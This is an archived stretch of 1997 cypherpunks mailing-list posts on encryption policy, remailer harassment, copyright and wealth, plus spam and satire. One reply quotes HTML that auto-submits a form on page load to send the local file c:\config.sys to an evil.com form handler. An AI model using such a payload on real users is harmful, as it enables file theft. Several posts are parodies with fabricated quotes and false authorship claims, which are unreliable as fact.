December 2003 - cypherpunks-legacy

Re: details of 6/26 action on HR 695??
by John Young 17 Dec '03

17 Dec '03

Sorry 'bout that .txt typo for the SAFE report; it's HTM: http://jya.com/hr105-108.htm (94K)

1 0

Denning Paper
by John Young 17 Dec '03

17 Dec '03

Forward: Professor Dorothy Denning's paper, "Encryption and Evolving Technologies as Tools of Organized Crime and Terrorism," will be available in early July. Should you wish to purchase a copy please send a check or money order for $10.00 (includes shipping and handling) payable to the National Strategy Information Center, at the following address: 1730 Rhode Island Ave. NW, Suite 500, Washington, DC 20036. We will be happy to send you a copy once we receive your payment. Should you have any further questions please feel free to contact me. Sincerely, Marcia McGowan Working Group on Organized Crime National Strategy Information Center ---------------------------------------------------------------------------- Excerpt of the paper at: http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

1 0

Dorothy and Not-Toto Do D.C.
by Dick Liquor 17 Dec '03

17 Dec '03

[Routers--July 1, 1997] CHEMICAL SPILL BY THE RIVER, U.S.A.: PRESIDENT Clinton, commenting on the British retreat from Hong Kong, told reporters, "The Chinese are a nuclear power, so the British had to 'put on a happy(~diplomatic) face' as the Chinese troops rolled in, no matter what the Chinese did at Kent State, Waco and Ruby Ridge." When his 'faux pas' was pointed out, Clinton laughed it off by saying, "Well, you know how it is...you kill a dissident and, an hour later, you want to kill again." A reporter who recently spent the night in the Lincoln bedroom saved the President further embarassment by changing the subject to the recent telivised debate on encryption between Dorothy Denning and Tim C. May, a grouchy old cypherpunk. Clinton seized the opportunity to play to the law and order crowd, responding, "That crazy bastard bit her fucking ear off! This kind of disgusting incident is exactly what our encryption policy is designed to address." When pressed to explain his statement, the President stated that if Mr. May had not been exposed to ear-biting pornography spread across the Internet with strong encryption, that children would not now be exposed to it in the televised news coverage of the May-Denning incident." When reporters asked about the Paula Jones incident, President Clinton replied, "I think she has me confused with Mike Tyson."

1 0

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

My biggest problem is when the pundits (and by extension, those that punt to them) frame this entire debate in terms of the Market. To do so is to argue that only solutions that are good for The Market are good solutions; that when a particular policy is market-agnostic or market-negative, even though it may be good policy for People (yes, remember them ???) it is irrelevant or bad. This debate is NOT about the Worldwide Encryption Market! At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote: > >Marc Andreessen from Netscape spoke at a National Press Club luncheon on >June 20. Attached is an excerpt from a transcript of his remarks. > >-Declan > >--- > >NATIONAL PRESS CLUB LUNCHEON >MARC ANDREESSEN, NETSCAPE >FRIDAY, JUNE 20, 1997 > >[...] > >The goal here in all these markets should be open >access -- open access for any new competitor who wants >to offer content and services, who wants to offer >hardware and software, who wants to offer bandwidth >for the Net itself. And then open access should also >allow each consumer and business to choose and buy >from any set of vendors it wants. > >Now, I am not suggesting anything radical -- no major >new laws or sweeping regulations, but simply that we >must ensure we have vigorous enforcement first of >existing antitrust laws and vigorous promotion of >normal healthy competitive markets in these areas -- >network services, software and hardware, content and >consumer services. Once we have that, then we need to >make sure we just don't screw it up. For example -- >just one example -- patently ridiculous limitations on >the ability of American companies to both produce and >use encryption software and hardware internationally. >Encryption technology now is freely available to >criminals and terrorists all around the world, >overseas, on the Web. You can buy it from NTT, you can >buy it from companies out of South Africa, England, >and many other countries. And we are really at this >point deluding ourselves with respect to our ability >to control this technology. The genie is clearly >already out of the bottle. > >However, current regulations, current arms traffic >regulations that apply to this technology and the new >McCain-Kerry bill that just was introduced a couple of >days ago -- the real effect there is that they are >ceding the international data security market to >non-U.S. vendors. They are really stunting now the >development of the Net as a commercial medium, and >they are leaving American companies fundamentally >unprotected from economic espionage and terrorism >abroad. One final example, imposing censorship laws in >this new consumer content medium that are more >stringent and restrictive than those on newspaper and >television. > >[...] > > >------------------------- >Declan McCullagh >Time Inc. >The Netly News Network >Washington Correspondent >http://netlynews.com/ > > > >

3 3

Re: Dr. Dobbs Cryptography and Security CD-ROM
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

>Copyright laws will do nothing to prevent the text from being distributed. >All copyright laws will do is make you able to punish "offenders" after >the fact. They have no mystical value to "protect" anything, especially >digital medium, which is easy to copy. What makes this case especially awkward is the fact that the CDROM can't legally be sold outside the US, which means the only way the rest of the world can get it is through illegal copies. Given the immense usefulness of something like this, I'd say it's only a matter of time before bootleg copies start appearing outside the US, but because of the USG's position we can't pay for it even if we want to (DDJ wouldn't look too good if they accepted payment for what they knew was illegally exported crypto). Perhaps a donation of the same amount to charity would serve as some equivalent to payment... Peter.

3 2

Re: NRA and National Online Records Check bullshit
by Secret Squirrel 17 Dec '03

17 Dec '03

Citizen-Unit T.C. May wrote: >(Somehow most people think it's OK that convicted felons lose their rights >to vote and to have guns. (Once they're released, of course.) Do they think >convicted felons no longer have religious freedom? Can no longer write as >they wish? Jeesh.) Citizen-Unit May is coming dangerously close to thought-crime in this message. The politically correct phrasing is as follows: "Since convicted felons lose their rights to vote and to have guns, surely there is no reason why they shouldn't also lose their rights to free speech and religious freedom. We must protect the children from such dangers." This issue provides clear support for our long tradition of compromising with the government on important issues - had we taken a "no compromise" stand on felon's rights to vote and own guns then we would not now be able to use that as justification for restricting further rights, just as prior compromise on the First Amendment rights of "child pornographers" has given the government a neccesary stepping-stone for restricting freedom of speech of adult pornographers and other authorized enemies. CompromiseMonger

1 0

re:mailing list
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

When did it become acceptable to be so stupid??? How many systems-experts do you know who use AOL frequently. OOh...I forgot about that new section, PGP For Dummies...(chuckle) C

1 1

Turn Your Debts Into Real Wealth!!
by tcmarket＠toad.com 17 Dec '03

17 Dec '03

Hello,_Morons, TURN EVERY $1 OF YOUR DEBT INTO $11.83 OF REAL WEALTH! This program *** from a two-time Inc 500 company *** is sweeping the country, because it does the one thing every network marketer is working for. It gets them to debt-free (including their mortgage) financial independence in the shortest possible time. Isn't achieving financial independence the reason you became interested in network marketing in the first place? Then why not check out the network marketing program where the product itself can make you financially independent? For a FREE information package call the recorded message at (303) 830-3755 or (800) 211-7097

1 0

Novell's Eric Schmidt on rating systems
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Novell's Eric Schmidt on rating systems So I'm logged in from the library of the National Press Club (my membership dues are finally going for something useful), where I just came from a breakfast meeting with Eric Schmidt, the CEO of Novell. We talked Net-politics, from copyright to crypto to Net-taxes. But I also pressed him on the problems of PICS-based rating systems like RSACi, noting that other governments have started to make them mandatory -- in a voluntary sort of way. "In the U.S., we're going to have all sorts of folks saying we need to have a mandatory rating system for web content.. The industry has pushed very hard for individuals to control things, not governments," he said. What about PICS making it easier for other governments to censor the Net? "We are not the other government's keeper... The beauty of the PICS stuff is that it's a framework for having the debate," he said. Next stop: the White House, where I expect this will come up again this afternon... -Declan

1 0

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

I suppose that's why US displays the greatest income disparity between rich and poor of any of the industrialized nations? Why some 10 or 20 billionaires collectively own more wealth than some 20% of the world's population? Or were you being sarcastic? At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >Ah, but what is a market except voluntary transactions between people? >What is good for the market is good for the people. > >-Declan > >On Mon, 30 Jun 1997 geeman(a)best.com wrote: > >> My biggest problem is when the pundits (and by extension, those that punt >> to them) >> frame this entire debate in terms of the Market. To do so is to argue that >> only solutions >> that are good for The Market are good solutions; that when a particular >> policy is market-agnostic >> or market-negative, even though it may be good policy for People (yes, >> remember them ???) it is irrelevant or >> bad. This debate is NOT about the Worldwide Encryption Market! >> > > >

2 1

Re: Has your privacy been invaded? Protected? Both?
by Dead Lucky 17 Dec '03

17 Dec '03

geeman(a)best.com wrote: > I have been fairly careful and very jealous of my privacy; and then my name > and home address showed up on one of the name-search pages. I don't know if > it's still there, and I don't remember the link. But then the Similac > marketing Geniuses sent me something in the mail that even included the due > date of my expected child! And the predicted date of the death of your child is January 19, 2015, according to the Dead Lucky Assassination Bot statistics. The good news is that there is only $1.48 bet on this eventuality, so the chances are slim that anyone is going to go out of their way to collect (unless you are such a bad father that your child turns out to be a total asshole). D. Lucky

1 0

Re: NRA and National Online Records Check bullshit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Kent Crispin wrote: > However, the issue is very complex. "The system" has a number of > discretionary points -- variable sentencing regiems, time off for good > behaviour, probation, parole -- all involve different levels of > constraints on rights, all constitutional. No doubt the laws resulting in people going to jail for the rest of their life for a "third felony" (i.e. - a $10.00 bad check in Texas) are "constitutional." After the (black, go figure...) person was given a life sentence for a $10.00 bad check, someone quoted the standard justification, "It's not a _perfect_ system, but its the best one we've got." (Hint: It was not the defendant who said this.) The rapist/murderers that we hear about being released because of a lack of prison space wave cheery good-byes to their marihuana smoking and bad-check writing pals as they drive away from the prison. And the way this relates to encryption is... ...the rapist/murderers of the future might well be waving goodby to the cryptographers, as well, since they rarely use encryption, and thus might well have a shorter sentence than their crypto-devil cellmate. TruthMonger

1 0

Clinton's Laissez-Faire Policy
by Ross Wright 17 Dec '03

17 Dec '03

Tuesday July 1 6:28 PM EDT Clinton Unveils 'Hands Off' Internet Strategy WASHINGTON (Reuter) - Hailing the Internet as an engine for future economic growth, President Clinton Tuesday unveiled a largely laissez-faire policy to promote commerce in cyberspace unburdened by new government taxes. See More at: http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

1 0

Crypto Law Survey updated
by Bert-Jaap Koops 17 Dec '03

17 Dec '03

I have just updated my survey of existing and envisaged cryptography laws and regulations. See the Crypto Law Survey at http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm This update includes: - update on Australia (Walsh report), Germany (Interior Ministry opinion), Sweden (IT commission report), US (government bill amended, Kerrey-McCain bill, SAFE act amended and passed House committees, czar travel FOIA request) - clarification on Singapore (import, domestic), Japan (government cannot choose) - URLs added to Belgium (law proposals), Canada (export), UK (cyber-rights report) Comments are as always welcomed. Kind regards, Bert-Jaap --------------------------------------------------------------------- Bert-Jaap Koops tel +31 13 466 8101 Center for Law, Administration and facs +31 13 466 8149 Informatization, Tilburg University e-mail E.J.Koops(a)kub.nl -------------------------------------------------- Postbus 90153 | This world's just mad enough to have been made | 5000 LE Tilburg | by the Being his beings into being prayed. | The Netherlands | (Howard Nemerov) | --------------------------------------------------------------------- http://cwis.kub.nl/~frw/people/koops/bertjaap.htm ---------------------------------------------------------------------

2 1

Jeff's Side of the Story.
by tcmay＠got.net 17 Dec '03

17 Dec '03

There's been an ongoing discussion of the Huge Cojones remailer situation on the related newsgroups. This has a lot of relevance to our issues, and this is one of the more illuminating articles. --Tim > From: toxic(a)hotwired.com (Jeff Burchell) > Newsgroups: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,alt.cypherpunks,comp.org.eff.talk,news.admin.net-abuse.misc > Subject: Jeff's Side of the Story. > Followup-To: alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,comp.org.eff.talk,news.admin.net-abuse.misc > Date: 1 Jul 1997 20:02:22 GMT > Organization: Content, Inc ... > > Anonymous (nobody(a)REPLAY.COM) wrote: > > : > Only Jeff knows the whole story. > > Actually, not even I know the whole story. If I truely knew who it was > that was orchestrating this attack, it would have stopped, one way or > another. The problem is, I don't know all the players (I have some > suspicions, which I'll elaborate on further in a little bit) but I don't > _really_ know who did it, and I really don't know why (other than a "I > don't like remailers, I think I'll shut one down"). And I really don't > know the background or what precipitated this. > > : > But I have to ask. Could this > : > just be an" I'm sick of this shit, f**k it, I quit, who needs this > : > aggravation, I'll just pull the plug and go have a beer" reaction > : > to what really seems like a fairly small problem. > > It is not a small problem anymore when you're getting >200 complaint > messages a day, plus 5-10 phone calls to your employer (and your > employer's legal department). Fortunately, Wired is a very progressive > company, and supported my efforts to provide anonymity, but our lawyers > aren't paid to answer phone calls on my behalf. Running a remailer is > one thing... getting harassed at work is an entirely different matter, and > getting a THIRD PARTY harassed at work is yet another one. > > But yes, The ultimate "take this thing down" decision was one made > because I was sick of this bullshit. But you know what? I volunteer > my time, my computer equipment, and bandwidth that is given to me > as part of my salary. I do (well did) all of this because I believe > that anonymity is a right, and because I have the capabilities of > helping to provide anonymity to the masses. When the remailer was > self-sufficient (before the attacks started), it took maybe 10 minutes > of my time a day, and minimal resources on my machine. Afterwards, > even after I put in the auto-blocking feature (send a blank message > to a particular address and get your address blocked) and the > autoresponder on the remailer-admin account, I was still getting >100 > messages a day reporting abuse... almost all of it spam-bait related. > I receive no benefit from running the remailer (I don't even use it > myself), and when it becomes a fairly major hassle without any > rewards, the decision is not a hard one to make. > > And frankly, I already have enough to do, and get enough mail on a > daily basis (at last check it was hovering around 600 messages/day). > As soon as the remailer started taking up a lot of my time, it became > time to rethink why I was running it. The moment that the spam-baiter > started alerting people who had been baited, and telling them to > contact me, it became personal. And I don't have time to get into > personal pissing-contests. Yes, I took the easy way out, but that > was my choice to make. > > Anyone who doesn't run a remailer has very little right questioning my > choice, because you have no idea what precipitated it. Most people > reading this group have the capabilities of running a remailer (it only > takes a POP account and a Windows machine to run the Winsock remailer), > but very few of us actually do. Why is that? I've been running huge. > cajones for just under 2 years, and it averaged just over 3000 messages > a day, so my remailer was responsible for about 2 million anonymous > messages in its lifetime. I think I've done my part (at least for now), > it's time for someone else to do theirs. If we had 15 disposable remailers > that operated for 2-3 months each before moving/going away, we'd have > paths for millions more anonymous messages. And isn't that what we're > really trying to provide? > > : The first was doing questionable things, like installing content-based > : filtering in an attempt to placate the attacker. Giving in to the demands > > When I first put the filters in, I was entirely unaware of exactly what > the hell was going on. It seemed that someone had a bone to pick with > databasix, and was using the remailer to get databasix harassed by > third parties. So, Burnore's complaint seemed reasonable at the time, and > I tried to come up with a way to block spam-bait abuse, without blocking > anything else (like a reply to burnore in Usenet). > > See, if someone was doing to me what they appeared to be doing to Burnore, > I would be pissed. I figured placating him would be the best thing to > do. In hindsight, I was wrong, but at the time, it seemed like the correct > decision. (Also at the same time, the SPA threatened Wired with a > lawsuit because of The MailMasher, so things were a little tense between > me and the legal department already, I didn't need to make them any worse.) > > The final content-based-filter (there was an interim one) looked for the > following things: > > 1. Any address at databasix (Yes, at the request of Burnore) > 2. Any address from my destination block list > 3. More than 5 addresses in a row, one line each, without other content > in-between. > 4. Patterns of particular Usenet groups. > 5. Particular subject lines. > > If any THREE of these items were spotted, the message got thrown into a > reject bin. I periodically examined the reject bin, and can personally > attest that it didn't block ANYTHING that it wasn't intended to. (The > test posts reeked of spam-bait to me, and I believe were correctly > blocked) > > FWIW, the filters were removed about a week ago. > > Because the filters were looking for a specific form of ABUSE, and not > just doing basic pattern matches, I don't consider them to be "content > filters". I would think that just about anyone would agree that > posting lists of email addresses to mlm newsgroups would qualify > as abuse, and _should_ be blocked. Blocking of this nature does NOT > restrict free speech (or at least that is not the intentions of it), and > it would keep the remailer out of lawsuit territory. > > See, the big problem with lawsuits is not the fact that _I_ don't want > to be sued. The problem is that anyone with half a brain can determine > that Wired is somehow related to any remailer that I am running on their > bandwidth. Wired has deeper pockets than Mr. Burchell, so they are a > much better group to sue... and they are a lot more willing to give > in to a threat than I am. > > : What I *MIGHT* have done was to respond as follows: > : > : Your legal demands are unacceptable. I'd rather close the remailer than > : compromise its integrity to suit your whims. But understand this -- unless > : you withdraw your demands, I will not only close the remailer but also make > : damn sure all of its users know exactly who forced me to take this action! > > I did respond in a fashion much like this, about a week before the attacks > started coming. Mr. Burnore requested a copy of my (non-existant) logs. > I told him to get me something in writing, signed by his lawyer that > stipulated that the logs were confidential, and not to be revealed to > anyone outside of the lawyer's office. > > I received a letter from Belinda Bryan. She is not registered with the > State Bar of California, and is thus, not a California lawyer. I then > ignored the request, and forwarded the correspondence to the State > Attorney General's office (as impersonating a lawyer in CA is defined > as fraud with extenuating circumstances). They have been working with > me and the San Francisco DA's office. Look out DataBasix... I'm not done > with you yet. > > : The second mistake I perceive is not fully disclosing the circumstances that > : brought down Huge Cajones, and *NAMING NAMES*. That way, even if the remailer > : shuts down, other remailer operators will learn about the tactics employed > : against it, know *WHO* made the demands, etc. IOW, when you get an innocent > : sounding, polite complaint from xxxx(a)yyy.com alleging "abuse", here's the > : scenario that's likely to follow ... (It's not too late to make that > : disclosure, Jeff.) > > In fact, now is the time to. Making a disclosure like this while I > was still running the remailer would have probably been a bad move. > Now that the remailer is closed, I'll name the names that I've got. > > Beware... all of this is speculation, because huge.cajones was an > anonymous service, not even I can say with any authority that any > of the people named below had anything to do with the shutdown of > huge.cajones (or The MailMasher). However, there are a number of > coincidences of timing. > > I still don't know what the hell is going on with DataBasix, Wells Fargo > and Gary Burnore, but I suspect that someone used huge.cajones to say > something extremely unflattering about Burnore (from what I can tell, > he had it coming). Burnore then decided that he would make things > difficult for me. First, he wanted the user who had posted something > "inflammatory" about him revealed. When I told him that I couldn't > do that, he carried on about mail logs and identifying the host that > a message came from (the usual). I didn't explain to him that my > machine keeps logs, but not anything involving a *(a)cajones.com > address. He then requested the logs, which I denied (and told him > to get his lawyer to send a request...) > > I'll admit, after my second or third contact with Mr. Burnore, I > no longer was particularly civil with the guy. He's a kook, and > really didn't deserve my courtesy. > > Between the time he first contacted me, and the time I received the > letter from Belinda Bryan, is when the baiting of databasix addresses > began (slowly, with just a few posts). After a while, I received > requests from the other members of DataBasix (including William McLatchie > (sp) (aka wotan) who actually seems to be a remailer supporter (?)). > > It was at this point that I realized something was completely amiss. > I asked McLatchie to please tell me the story of DataBasix, and he > said that he was going to, but never did. Anyone who can tell me > the story is invited to do so. > > As a side note (and just because I am naming names). Peter Hartly > (hartley(a)hartley.on.ca) yesterday spam-baited me. Fortunately, > I've got good filters in place. > > As another side note, I've seen nothing to make me believe that Belinda > Bryan is even a real person. Anyone? > > : > Given the importance of what Jeff was doing, I hope that he > : > did all that he could, before declaring defeat. If that is the case, > : > I commend him for a job well done. If not, why? > > I can't claim to have done _everything_ that I could have done, but I > did certainly make an effort. I'm not willing to go to court to defend > a practice like spam-baiting (and given the current public-opinion situation > and impending anti-UCE legislation, this would be a terrible test-case). > > I am not new to threats of lawsuit, even ones that come from legitimate > lawyers. About 8 months previous, I was threatened repeatedly by the > legal wing of the "Church" of Scientology. I answered with a letter > from my lawyer that explained the policies of the remailer, and > threatened a harrassment lawsuit if the "Church" contacted me again asking > for information (that they now knew I didn't have) about a remailer user. > They complied, and went away (and haven't been too difficult with > other remailer operators lately). > > : Agreed. Otherwise, these "asshole(s)" are simply going to do it all over > : again against another remailer, eventually taking them all down one at a time. > Except that right now, new remailers are springing up. If we could get > three more online for every one shut down, it wouldn't much matter, would > it? I may very well end up running a mailer again in the future, but if > I do, it will probably be either a throwaway exit-man or a truely anonymous > middleman (i.e. nobody will actually know who is running it). It also > will probably be hosted outside of the United States (Floating in > international waters with a sat feed would be nice). > > : It's time for them to stand up and say "Next time you come for one of us > : he's > : not going quietly as the others have. You'll have to face ALL of us at once, > : instead." > > Aah, you imagine much more solidarity among remailer operators than actually > exists. It doesn't work that way. It would be nice if it did, but many of > us are running remailers on borrowed bandwidth (or have other "situations" > to be concerned about). Being the squeaky wheel is not always a good idea > for many of the operators (most of whom try to keep a low profile). > > The reality is, for all the good they do, remailers are tools that can > very easily be abused. And, as the internet gets more and more commonplace, > the average Joe and Joesphine, who don't have the strict Cyber-Libertarian > viewpoints that are shared by most of us old-timers, will start to wonder > just why anyone would want to run a service that allows anyone to speak their > mind without fear of reprisal. When you get people with more extreme > viewpoints (the ones who have a really legitimate need for anonymity) posting > all kinds of stuff to all kinds of places, it will get the attention of > Middle-America, which will then bring it to the attention of legislators. > Any time a legislator can say "This is a blow to Child Pornographers and > others who hide behind anonymity to commit crimes without fear of reprisal" > you can guarantee that the bill will pass. > > When that happens, we're in trouble. America is scared of computers, and > remailers are thought to be havens for the big 3 (Terrorists, Organized > Crime and Child Pornographers). Now that the spammers are involved > (spammers possibly being hated more than the big 3), most users are > exposed to anonymous remailers in negative ways (Imagine what you would > think if the first time you heard about the existance of remailers, it > was because someone had spam-baited you, and then told you about it). > > The right to anonymity in the US will be legislated away within 18 months, > partially because of spam. I do hope there's a _good_ test case waiting, > and someone willing to fight it to the end, but I have my doubts. Ultimately > the remailer network will be forced to move offshore, the way Crypto > development currently has. > > Don't like the News? Go out and make some of your own. > > -Jeff > > |o| |o| > |o| Jeff Burchell toxic(a)wired.com |o| > |o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o| > |o| I am not speaking for anyone but myself. |o| > |o| |o| -- There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

6 9

Degaussing
by Secret Squirrel 17 Dec '03

17 Dec '03

Could someone please point me to a FAQ or somesuch about degaussing magnetic media? Thank you!

10 11

Re: Netscape Exploit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

> >Here is a sample it isn't complete but you get the basic idea of what is > >going on > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > > > ><BODY onLoad="daForm.submit()"> > ><FORM > > NAME="daForm" > > ACTION="http://evil.com/cgi-bin/formmail.pl" > > METHOD=POST> > > > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your > >Harddrive"> > ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > > > >and so on and so forth... So if someone was using Netscape to read mail, and I included a small bit of HTML like the above, I could snarf up files out of everywhere?

1 0

Re: Internet - Good & Bad [CNN]
by Secret Squirrel 17 Dec '03

17 Dec '03

Jim Choate wrote: > > Time NEW YORK (CNNfn) - New technologies for video transmission over > > the Internet, such as digital video discs (DVDs), represent remarkable The article lost credibility in the first sentence. Is that a record?

2 1

Re: Liberating the Bits
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Michael Stutz wrote: > On Tue, 1 Jul 1997, Tim May wrote: > > > Technology liberates the bits. > > Copyright law is not only useless on the net but inefficient; one need only > compare the performance of free, copylefted software versus proprietary, > closed software to see which is better. But now it is possible to apply the > same principle of copyleft to _all_ non-software information, too -- > including text, images and music. I have done this myself with novels and > albums of music, and have posted full instructions on how to apply this to > non-software information at <http://dsl.org/copyleft/>. Tim gave excellent information on how one can go about using technology to enjoy the fruits of other people's labour without contributing toward the survival of those producing the things he enjoys. (I, being more niggardly, will refuse to share a technique I developed for stealing money from a blind beggar's cup and candy from a child's Halloween bag.) Michael is right about technology and the InterNet now making it possible to circumvent the principle represented by copyright law. When I originally came up with the concept of BlackNet and anonymous remailers, I foresaw that my invention of Public Key Cryptography might help make it possible for ordinary people to reap the benefits of other peoples' ideas and hard work, without doing anything to contribute toward the survival of creative, productive people. Although a person *can* enjoy the product of other peoples' efforts without contributing toward the production of that product, the decision as to whether they *should* do so should not be taken lightly. I believe that we live in a predatorial universe and that everything we do involves some form of "eating" the life forms around us, whether we do so physically, emotionally, or mentally. Whether the process involves hunting what already exists, or growing new life forms by farming, our future quality of life will depend on the quality of resource management done by ourself and others. There is undoubtedly an increased cost for certain software, music albums, etc, because of the theft and coercion of the companies that dominate an industry (via bribes, collusion, political donations), but there is also a fixed cost that needs to be met for these products to continue existing and developing. There is also a minimum level of sustenance needed by those who produce the products we use, and if this is not met, then they cease producing those products. If you copy George Strait's albums without putting a few pennies in his pocket, it is not likely to inhibit his market enough to matter, but if you do the same with an album by a group who is living in a station-wagon between gigs, then you might find yourself wondering "What ever happened to 'Psychotic Losers'?" I bought Microsoft Word because I like the product and use it a lot. Other Microsoft programs that I use occassionally, I just grab a copy from someone else because it's not worth my while to pay big money for it and I don't want to waste my time and effort using a product which doesn't fit into their proprietary scheme. (I apply the same standards to stealing children's Halloween candy. I only steal from fat kids, and I don't take the whole bag. I want to make it worth their while to go trick-or-treating next year.) I can understand that Tim May wants to hang on to the mountain of cash that was made possible by his company's software copyrights, but I am surprised that he seems so boastful about denying others any compensation for their ideas, talent, and labour. The Internet seems to be moving proprietary software more toward a shareware/freeware attitude, since some companies are seeing the benefit of making their product widely available. An example is Microsoft making a file available for people without their product to read the documents produced with it. I suspect that the technology which allows most information to be set free from the bondage of copyright will lead to a more balanced playing field where it is harder for a company to keep their prices artificially high by virtue of market domination and political pull, but there will always remain a need for those who create and produce to receive compensation for doing so. There's something wrong when Janet Reno is not a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- TruthMonger #1 | Crypto Anarchy: encryption, digital money, tm(a)dev.null 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "Reputation Capital isn't even a speed bump to Identity highway robbery."

4 3

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

yikes - this response makes me as nervous as any misguided government GAK program. Yes, why *should* the poorest and most starved people in the world have any more than they do? It's a free world, ain't it? They're free to avail themselves of the latest in technology, health care, and education to improve their lot aren't they? No, they're victims of transnational corporate wealth-displacement programs funded by the IMF and World Bank, organizations which fatten tinpot dicators' personal fortunes while forcing an export economy onto the weak, stripping them of the power of self-sufficiency in order to feed corporate Masters with no place and no conscience. These people the ones who pick your fruit and vegetables; they're the ones who make your designer sneakers and the silk ties and nice button-down shirts you wear to your cubicle every day. They're the ones who have no voice, no power and no chance. They starve in order to feed and clothe and entertain you, that's why. There are equitable balances of wealth distribution, and there are unconscionable and indefensible ones. I try to play a part is maintaining a balance saner than that of a world dominated by people with your response; I deliver boxes and bags of things I no longer need to Goodwill and others; I wrote off as much as I could in charity donations last year; my wife sponsors a child thru the Christian Childrens Fund; I try to educate myself -- to learn why the peasants revolted in Chiapas, how GATT and SNAFU -- oops I mean NAFTA -- really work and whom they really benefit. I write when I can to try to pass along some of what I learn. Do you continue giving when someone else has less than you do? Absolutely. I hope that you will eventually grow up and achieve some wisdom and compassion. At 12:06 PM 7/1/97 -0400, Michael Lamarra wrote: >Hi, > >I'm curious - why should the 20% percent of the world's population own more >wealth than they do now? How are you identifying them and how much are you >giving them? After all, you probably own more than a vast number of people on >earth also. I know that I do and I'm barely a thousandaire. Do I stop giving >when someone has the same amount as me or do I continue because there is >someone else who still has less? > >Thanks, > >Mike > >I suppose that's why US displays the greatest income disparity between rich >and poor of >any of the industrialized nations? Why some 10 or 20 billionaires >collectively own more >wealth than some 20% of the world's population? Or were you being sarcastic? > >At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >>Ah, but what is a market except voluntary transactions between people? >>What is good for the market is good for the people. >> >>-Declan >> >>On Mon, 30 Jun 1997 geeman(a)best.com wrote: >> >>> My biggest problem is when the pundits (and by extension, those that punt >>> to them) >>> frame this entire debate in terms of the Market. To do so is to argue that >>> only solutions >>> that are good for The Market are good solutions; that when a particular >>> policy is market-agnostic >>> or market-negative, even though it may be good policy for People (yes, >>> remember them ???) it is irrelevant or >>> bad. This debate is NOT about the Worldwide Encryption Market! >>> >> >> >> > > > >

1 0

Good Cop/Bad Cop
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

sampler-request(a)lmboyd.com wrote: > ====================================================== > TV ratings now indicate more people hate outlaw > characters and admire police characters. Curiously, > though, the police they admire most are the ones who act > like outlaws." > ============================================== > LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email > http://www.LMBoyd.com/postscript.htm The above apparently applies to politicians, as well. TruthMonger

1 0

Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

The point was that Marc Andreessen insists on framing the crypto debate in terms of "The Market" -- the next statement was that that's OK because What's Good for the Market is Good for the People. My reply to that was "bullshit and here's why"; don't take my word for the stats, go look them up, and I won't go into the absolute correctness of your statement about "wealth" vs. "securities" Bottom line is that there is tremendous evidence that what's good for the Market is NOT at ALL good for 'the people' -- and that framing the crypto debate in such terms makes the issues of civil liberties and the empowerment of People irrelevant. Now this may be a good political ploy when playing the back rooms of Washington, but I'd wish for something better from someone from Netscape, one of the Big Voices in the debate. At 01:37 PM 7/1/97 -0400, Duncan Frissell wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >At 08:49 AM 7/1/97 -0700, geeman(a)best.com wrote: >>I suppose that's why US displays the greatest income disparity between rich >>and poor of >>any of the industrialized nations? > >We don't know if this is true because no statistical series captures all >"wealth." The underground economy here is supposedly 15% but higher in much >of Europe. Also no country includes public benefits in income calculations >although they are income and the higher US medical costs substantially >increase the total income of those receiving Medicaid. Those comparisons are >suspect because too much income is excluded from the calcs. > >>Why some 10 or 20 billionaires >>collectively own more >>wealth than some 20% of the world's population? Or were you being sarcastic? > >They don't. They own more "securities." If you total the discounted >(present) value of the future income stream of 20% of the earth's population >(adjusting for the probable massive income increases of the next 20 years of >extreme boom times), and you count the value of personal property it comes to >more than the current wealth of the top billionaires who after all are >apparently worth less than a $trillion or two collectively. > >But I don't know what this all has to do with encryption policy, however. > >DCF >-----BEGIN PGP SIGNATURE----- >Version: PGP for Personal Privacy 5.0 >Charset: noconv > >iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE 